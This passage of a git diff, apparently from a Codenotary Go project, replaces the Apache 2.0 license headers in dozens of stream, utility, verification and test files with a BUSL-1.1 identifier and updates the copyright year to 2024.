not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/stream/errors.go b/pkg/stream/errors.go index fa2e92a77e..9452eb4bba 100644 --- a/pkg/stream/errors.go +++ b/pkg/stream/errors.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/stream/execall_receiver.go b/pkg/stream/execall_receiver.go index 8173e89cd7..a51f7f469b 100644 --- a/pkg/stream/execall_receiver.go +++ b/pkg/stream/execall_receiver.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/stream/execall_receiver_test.go b/pkg/stream/execall_receiver_test.go index b5d2c07cd8..71a2f47b9c 100644 --- a/pkg/stream/execall_receiver_test.go +++ b/pkg/stream/execall_receiver_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/stream/execall_sender.go b/pkg/stream/execall_sender.go index 25910fca19..6a72e25b92 100644 --- a/pkg/stream/execall_sender.go +++ b/pkg/stream/execall_sender.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/stream/execall_sender_test.go b/pkg/stream/execall_sender_test.go index c2b5e3eb15..366af64394 100644 --- a/pkg/stream/execall_sender_test.go +++ b/pkg/stream/execall_sender_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/stream/execall_streamer.go b/pkg/stream/execall_streamer.go index addba93e77..c113e2df20 100644 --- a/pkg/stream/execall_streamer.go +++ b/pkg/stream/execall_streamer.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/stream/factory.go b/pkg/stream/factory.go index 0fb1c5bed0..4e3a63f0cb 100644 --- a/pkg/stream/factory.go +++ b/pkg/stream/factory.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/stream/kvparser.go b/pkg/stream/kvparser.go index 08e7428231..20b8584fa1 100644 --- a/pkg/stream/kvparser.go +++ b/pkg/stream/kvparser.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/stream/kvparser_test.go b/pkg/stream/kvparser_test.go index 144a76a793..08d5a1b299 100644 --- a/pkg/stream/kvparser_test.go +++ b/pkg/stream/kvparser_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/stream/kvreceiver.go b/pkg/stream/kvreceiver.go index ef01fc1d65..57626cb315 100644 --- a/pkg/stream/kvreceiver.go +++ b/pkg/stream/kvreceiver.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/stream/kvsender.go b/pkg/stream/kvsender.go index 424afeb154..622abdc2c4 100644 --- a/pkg/stream/kvsender.go +++ b/pkg/stream/kvsender.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/stream/kvsender_test.go b/pkg/stream/kvsender_test.go index 42888ddc67..c2475b18ad 100644 --- a/pkg/stream/kvsender_test.go +++ b/pkg/stream/kvsender_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/stream/kvstreamer.go b/pkg/stream/kvstreamer.go index e324a4d6bd..9a630bb46d 100644 --- a/pkg/stream/kvstreamer.go +++ b/pkg/stream/kvstreamer.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/stream/meta.go b/pkg/stream/meta.go index d0683cd373..658a0861cf 100644 --- a/pkg/stream/meta.go +++ b/pkg/stream/meta.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/stream/receiver.go b/pkg/stream/receiver.go index e5e9c652ff..09f007a752 100644 --- a/pkg/stream/receiver.go +++ b/pkg/stream/receiver.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/stream/receiver_test.go b/pkg/stream/receiver_test.go index 63eb818dd7..88dada39d8 100644 --- a/pkg/stream/receiver_test.go +++ b/pkg/stream/receiver_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/stream/sender.go b/pkg/stream/sender.go index dc8c5c56cc..79418f9343 100644 --- a/pkg/stream/sender.go +++ b/pkg/stream/sender.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/stream/sender_test.go b/pkg/stream/sender_test.go index ca3eb472ad..3d0672f31d 100644 --- a/pkg/stream/sender_test.go +++ b/pkg/stream/sender_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/stream/streamer.go b/pkg/stream/streamer.go index e0c9202925..03eb3f7d91 100644 --- a/pkg/stream/streamer.go +++ b/pkg/stream/streamer.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/stream/streamtest/err_reader.go b/pkg/stream/streamtest/err_reader.go index b684742d35..62fc62be41 100644 --- a/pkg/stream/streamtest/err_reader.go +++ b/pkg/stream/streamtest/err_reader.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/stream/streamtest/receiver.go b/pkg/stream/streamtest/receiver.go index 7a9e22411e..7a16b61572 100644 --- a/pkg/stream/streamtest/receiver.go +++ b/pkg/stream/streamtest/receiver.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/stream/streamtest/sender.go b/pkg/stream/streamtest/sender.go index 28842354ce..c3096f669e 100644 --- a/pkg/stream/streamtest/sender.go +++ b/pkg/stream/streamtest/sender.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/stream/streamtest/stream.go b/pkg/stream/streamtest/stream.go index 6e1b8fbcfb..1a73efb929 100644 --- a/pkg/stream/streamtest/stream.go +++ b/pkg/stream/streamtest/stream.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/stream/types.go b/pkg/stream/types.go index 890a199b12..8fcfb3b07f 100644 --- a/pkg/stream/types.go +++ b/pkg/stream/types.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/stream/types_test.go b/pkg/stream/types_test.go index 3fef33ce8f..454e157a77 100644 --- a/pkg/stream/types_test.go +++ b/pkg/stream/types_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/stream/ventryparser.go b/pkg/stream/ventryparser.go index 854fd4a7c4..5f809dbf91 100644 --- a/pkg/stream/ventryparser.go +++ b/pkg/stream/ventryparser.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/stream/ventryparser_test.go b/pkg/stream/ventryparser_test.go index f448964f95..e8ee94ba9a 100644 --- a/pkg/stream/ventryparser_test.go +++ b/pkg/stream/ventryparser_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/stream/ventryreceiver.go b/pkg/stream/ventryreceiver.go index feaba89b84..0e26a07452 100644 --- a/pkg/stream/ventryreceiver.go +++ b/pkg/stream/ventryreceiver.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/stream/ventryreceiver_test.go b/pkg/stream/ventryreceiver_test.go index 91e48e04b5..332fa5a194 100644 --- a/pkg/stream/ventryreceiver_test.go +++ b/pkg/stream/ventryreceiver_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/stream/ventrysender.go b/pkg/stream/ventrysender.go index 7e0dc7da8c..76228367b6 100644 --- a/pkg/stream/ventrysender.go +++ b/pkg/stream/ventrysender.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/stream/ventrysender_test.go b/pkg/stream/ventrysender_test.go index 7f5cd14e45..c11e9c7709 100644 --- a/pkg/stream/ventrysender_test.go +++ b/pkg/stream/ventrysender_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/stream/ventrystreamer.go b/pkg/stream/ventrystreamer.go index 68db712c67..384acd18a0 100644 --- a/pkg/stream/ventrystreamer.go +++ b/pkg/stream/ventrystreamer.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/stream/zStreamer.go b/pkg/stream/zStreamer.go index d833efbd02..14473639a2 100644 --- a/pkg/stream/zStreamer.go +++ b/pkg/stream/zStreamer.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/stream/zparser.go b/pkg/stream/zparser.go index 87232ba53b..4c66154065 100644 --- a/pkg/stream/zparser.go +++ b/pkg/stream/zparser.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/stream/zparser_test.go b/pkg/stream/zparser_test.go index 1403c6f4e4..b95867fdd0 100644 --- a/pkg/stream/zparser_test.go +++ b/pkg/stream/zparser_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/stream/zreceiver.go b/pkg/stream/zreceiver.go index 7e4dce28d9..0ae2d2c255 100644 --- a/pkg/stream/zreceiver.go +++ b/pkg/stream/zreceiver.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/stream/zreceiver_test.go b/pkg/stream/zreceiver_test.go index af1c1a38d0..3ee64e5d95 100644 --- a/pkg/stream/zreceiver_test.go +++ b/pkg/stream/zreceiver_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/stream/zsender.go b/pkg/stream/zsender.go index d4763e25fd..576e95ead6 100644 --- a/pkg/stream/zsender.go +++ b/pkg/stream/zsender.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/stream/zsender_test.go b/pkg/stream/zsender_test.go index 9ef6c8a765..c556851bdc 100644 --- a/pkg/stream/zsender_test.go +++ b/pkg/stream/zsender_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/streamutils/files.go b/pkg/streamutils/files.go index e2586698e8..1701d2b68f 100644 --- a/pkg/streamutils/files.go +++ b/pkg/streamutils/files.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/streamutils/files_test.go b/pkg/streamutils/files_test.go index 2d158b979b..0d9dbc2b58 100644 --- a/pkg/streamutils/files_test.go +++ b/pkg/streamutils/files_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/truncator/truncator.go b/pkg/truncator/truncator.go index f383875aa6..192a254139 100644 --- a/pkg/truncator/truncator.go +++ b/pkg/truncator/truncator.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/truncator/truncator_test.go b/pkg/truncator/truncator_test.go index 10ed00289e..87479ed4b2 100644 --- a/pkg/truncator/truncator_test.go +++ b/pkg/truncator/truncator_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/verification/verification.go b/pkg/verification/verification.go index f46dce2f96..5ef08150b5 100644 --- a/pkg/verification/verification.go +++ b/pkg/verification/verification.go @@ -1,11 +1,11 @@ /* -Copyright 2023 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/verification/verification_test.go b/pkg/verification/verification_test.go index 9b44688b43..2407b8ffa7 100644 --- a/pkg/verification/verification_test.go +++ b/pkg/verification/verification_test.go @@ -1,11 +1,11 @@ /* -Copyright 2023 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/test/columns/main.go b/test/columns/main.go index 26897f057f..1dc29965f2 100644 --- a/test/columns/main.go +++ b/test/columns/main.go @@ -1,11 +1,11 @@ /* -Copyright 2022 CodeNotary, Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/test/columns/rand.go b/test/columns/rand.go index 1bdddcdb54..145b096b92 100644 --- a/test/columns/rand.go +++ b/test/columns/rand.go @@ -1,11 +1,11 @@ /* -Copyright 2022 CodeNotary, Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git 